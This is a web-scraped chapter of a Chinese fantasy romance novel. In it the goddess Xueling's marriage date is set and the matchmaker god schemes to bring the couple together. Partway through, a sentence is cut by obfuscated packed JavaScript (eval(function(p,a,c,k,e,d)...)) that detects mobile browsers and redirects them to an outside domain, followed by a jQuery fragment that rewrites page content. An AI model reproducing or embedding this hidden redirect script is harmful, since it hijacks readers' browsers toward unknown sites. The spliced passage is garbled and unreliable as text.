28. 婚期将近
作品:《神女竟是黑莲花》 不知不觉,已过七日。
到了第八日,弟子们看到一个身着天青色神袍的男子走进了学堂,气宇轩昂,英姿飒爽。他是久经沙场的战神,更是无数人心中的英雄。虽然他已经很久没有上过战场了,但依旧能感受到战神的气魄。
有弟子惊道:“陌年神君!”
陌年对于这些出身不凡的弟子来说也只是像传说中的人物一般,能见到一次都已荣幸之至。虽然在试炼之时也都见过他,但那时也只能远远看到静坐时的他,与如今迎面走来截然不同。
坐在前排的凉颐问道:“不知陌年神君来学堂所为何事?”
陌年缓声道:“自然是来为你们授课。”
所有弟子都无比惊讶,不敢相信给他们教授术法课的仙师会是曾经威震三界的战神。对弟子们来说这可是求之不得的荣耀。
不过惊讶之余,凉颐细细琢磨了一番,反而有些唏嘘。
如今的陌年神君已不再是曾经驰骋沙场的战神,只空有战神的虚名,除了寿数绵长些,实则与普通凡人无异。因为他已法力尽失,若他不是仙师的话,也只能是个闲人了。
这么一想,凉颐倍觉悲凉,曾站在云巅之上的人竟落得如此下场。
*
苏寅闲来无事,又继续四处晃悠。
在一个荒凉萧瑟的园子里碰到了一个背影寂寥的女子。
他走上前看到女子的正脸后,诧异至极:“神女怎么有兴致来这里赏......来这园中?”
苏寅看得出来这是花园,本想说赏花,可是园中已无花可赏,只好改口。
“我确实是来赏花的,只不过就在刚刚,最后一朵花枯萎了。”雪灵掩饰起自己的哀伤,淡漠道。
苏寅小心翼翼地问:“这是......”
雪灵回道:“这是落月花。”
苏寅道:“我听殿下提起过,这花是花神培育的,是花中极品,还是桃花酥能冠绝天下的缘由。”
雪灵转身看向苏寅:“你与凉颐同吃同住,令牌的事想必你也知晓了。当日走得匆忙,还没来得及告诉他令牌的用法。对准令牌施法会显现出我传给繁花楼的旨令,要求他们务必在三年之内找到凉颐的救命恩人。”
“如此一来繁花楼必会倾尽全力,我相信凭借繁花楼的能力定能寻到她。只有了却前尘,他才能心无旁骛地迎接新的身份。”
苏寅惊讶地问:“婚期定在三年后?”
“是。”
“我会转告殿下。”苏寅沉默了一瞬后又继续问道,“有一事我一直想不明白,我自问技艺天衣无缝,神女是怎么发现我给殿下上的妆是假的?”
雪灵道:“寻常之人自是看不出端倪,若我也看不出,又怎配上神之位?”
虽然雪灵没有明说,可苏寅早已听得分明。他曾以为神女不过是仗着血脉高贵,却没想到她和他是一样的人,是远比普通人更警觉,更努力的人。
曾几何时,他在暗无天日的地牢厮杀搏命,终于熬到了出头之日,也不过是战战兢兢地继续苟延残喘着。而神女的这份警觉,又要靠多少的血泪才能换得呢?
*
慕玖辰来到医仙殿中打听受伤弟子的情况,恰巧碰上了来取药的段无觅。
段无觅行礼道:“慕仙师。”
慕玖辰连忙扶住她的手臂:“私下里段姑娘不必如此客气。听医官说段姑娘的伤势已无大碍,只是奇怪噬骨蝶不应该造成如此重的伤势。不知姑娘可有什么难言之隐,我或可帮衬姑娘一二。”
他确实可以帮到她,可她不知道该不该和他说,毕竟情况复杂,事关家族秘辛。
她在犹豫,只吞吞吐吐地说着:“我......我......”
慕玖辰笑了笑道:“段姑娘别误会,每一个受伤的弟子我都有向医官打听情况,凌楠也不例外。”
段无觅也知道凌楠和慕玖辰之间并不对付,矛盾颇深,可慕玖辰竟然能不计前嫌,一视同仁,定是宅心仁厚之人。但为了保险起见,段无觅还是选择有所保留。
“我希望仙师能帮我引见一下神女,届时仙师自会知晓其中缘由。”
慕玖辰痛快地答应了:“没问题,我会去求见神女。”
段无觅有些担忧地问:“神女会见我吗?”
慕玖辰笃定道:“会的!”
他不只是为了安慰段无觅才这么说的,于情于理,其实神女都会见她。
她的野心,他早已尽收眼底。他对她有借势之心,她对他何尝没有利用之心呢?幻境森林的幻兽是神女所创,想必神女已经知晓他斩杀了金甲狮王的事情。
虽然连他自己都觉得出乎意料,可事实摆在眼前,神女不可能没有对他的身份产生疑虑。很显然,她选择了知情不报,而理由就只有一个,她觊觎他的实力,想让他为她所用。
她所谋甚远,即便是为了维持名声,也不会对段无觅的事情置若罔闻。只是不明白,她和神主何以走到如此地步呢?
段无觅莞尔一笑:“多谢慕仙师。”
看到慕玖辰如此坚定的口吻,段无觅忐忑的心情也平复了些许。
*
苏寅回到了朝晖殿,桌上的饭菜都已经准备好了,发现凉颐竟然不在。
这是干嘛去了?
月老匆匆走了过来:“你是苏寅吧?凉颐殿下不在吗?”
苏寅笑了笑道:“他......应该还在修炼之地吧。月老竟然认识我?”
月老略显殷勤地说:“毕竟马上就是一家人了嘛!自然要对殿下身边的人了解一番。据我所知,他身边的人也就只有你终日戴着面具了。”
苏寅道:“月老来此是来告知婚期的吧?神女已经告诉过我了。”
月老眉头微蹙,觉得奇怪,便问道:“不对呀,神女为什么会告诉你?”
苏寅向他讲述了在花园偶遇神女的经过。
月老本来脸上还带着几分喜悦,现在的心情就像跌落到了谷底,好似下一秒就要哭出来了。
“你是说神女竟然帮着殿下找他的救命恩人?这下完了。为什么近在眼前的人你看不见,偏偏要去找那个不知在天涯还是海角的恩人呢?”
苏寅问道:“什么完了?他们成婚不是确凿无疑的事情吗?难道你还怕殿下找到了恩人就悔婚?”
月老愁眉不展,长叹一声:“他当然不会悔婚,可是你也知道,我掌管姻缘。最怕看到一对风华正茂的璧人同床却异梦,该是何等凄凄惨惨戚戚的景象啊!”
说完他假装抹起了眼泪,他当然不会把真实的原因告诉苏寅。
苏寅看愣了,只有眼珠还微微转着,证明他还是个活人。
月老竟然如此关心神女?他们本人还没觉得怎么着呢,这月老倒先杞人忧天起来了?
“别人都只关心他们是否会成婚,月老好像格外关心他们是否会幸福?可世事难两全,他们本就是因为时势才选择联姻的。”
月老眼角微酸:“我知道世事难两全,可神女是我从小看着长大的。这天界太冰冷,我只是希望她身边也能有个知冷知热的人。”
虽然月老刚刚的演技是浮夸了点,但现在这句话却是发自肺腑。
苏寅暗叹,月老可真关心神女,比亲娘还关心!
月老继续道:“对了,还有一事,既然婚期已定,以殿下的身份已不适合住在朝晖殿了。等过几日新殿布置
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16398193|183946||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好了,殿下便要入主新殿。”
“我会转告殿下。”苏寅想了想继续道,“也许,我可以试着帮帮他们,我对殿下的关心可不比月老对神女的差!我也希望殿下能早日放下执念,希望他们幸福,希望......在三年后的婚宴上喝的是喜酒,而不是勉强咽下的苦果。”
月老听到苏寅情真意切的言语,又抹起了眼泪,随后拍了拍苏寅的肩膀:“太好了!放心吧,有了你的帮助那必是事半功倍。”
*
月老满面春风地向天机阁走去,像是遇到了天大的喜事。
“我有一个好消息和一个坏消息,你想先听哪个?”
司命忙碌中瞥了他一眼:“你先说坏消息吧。”
月老道:“听说小莲花把出入南天门的令牌给了凉颐了。”
“哦。”
司命此时还没听出来言外之意,他又深想了一下,神女为何要把南天门的令牌给凉颐?凉颐要下凡?下凡!繁花楼!
“什么?我本以为殿下带神女去繁花楼已经很离谱了,没想到神女行事更荒谬!”司命话锋一转,“不过荒谬归荒谬,也在情理之中。”
月老好不容易才接受雪灵给凉颐令牌这个事实,司命偏要火上浇油。
“你什么意思?怎么就合理上了?你有没有点良心?”
司命道:“我只是实话实说而已。你该知道她的心远比她的人更冷!做出这样的事情不足为奇。”
月老心中的悲伤已逆流成河,眼中却带了几分凶恶。
“知道我为什么讨厌你吗?做人能不能别这么实诚?总是往人心窝子上戳!”
司命顿了顿道:“你不是比我了解神女吗?我们的目的只是让凉颐心甘情愿即可,你还真指望神女也......算了吧!”
“不试试怎么知道不行呢?感情本来不就是两个人的事吗?”
“只怕神主可未必这么想。”
月老气呼呼地坐到了椅子上,拍了下几案:“真是,一提起她我就来气!若是小莲花真的动了心呢?神主还能剜了她的心不成?”
“嗯,还真说不准!”
月老暗骂,一个司命,一个神主,没一个好东西!
“算了,我还是说一下我的好消息吧。神主寿宴上会宣布他们的婚期,已经确定了是三年后。”
司命叹气道:“这算什么好消息?就算他们成了婚又能如何?一个无心,一个无所谓,就算是夫妻也只能是貌合神离的假夫妻。”
“这不有我在嘛!怎么?你觉得我这个月老是白当的吗?”月老气定神闲地说。
司命问:“难道你有什么妙计?”
月老道:“没有。”
司命对他翻了个白眼,不再说话。
月老继续说道:“不过我们现在又多了一个得力帮手。婚期一定,凉颐殿下马上就要入主新殿了,他们二人离得更近了,机会不就多起来了吗?”
司命停下了手中的活计,饶有兴致地与月老相对而坐,问道:“什么帮手,难道比你还中用?”
月老怒问:“你这话是什么意思?亏得我天天苦思冥想如何撮合他们二人,你还在这诋毁我?”
司命尴尬地笑了笑:“我不是那个意思,只是奇怪你都束手无策的事情,还有谁能帮到我们?”
司命觉得不对劲,完了,他又说错话了!
月老破口大骂:“司命小儿,你别太过分!计策不得慢慢想吗?这种事情是一蹴而就的吗?早知道如此费力还不讨好,我当初就不该答应帮你!”
司命慌忙解释道:“不是,我不是这个意思......”
月老根本不听司命的解释,扭头离开了。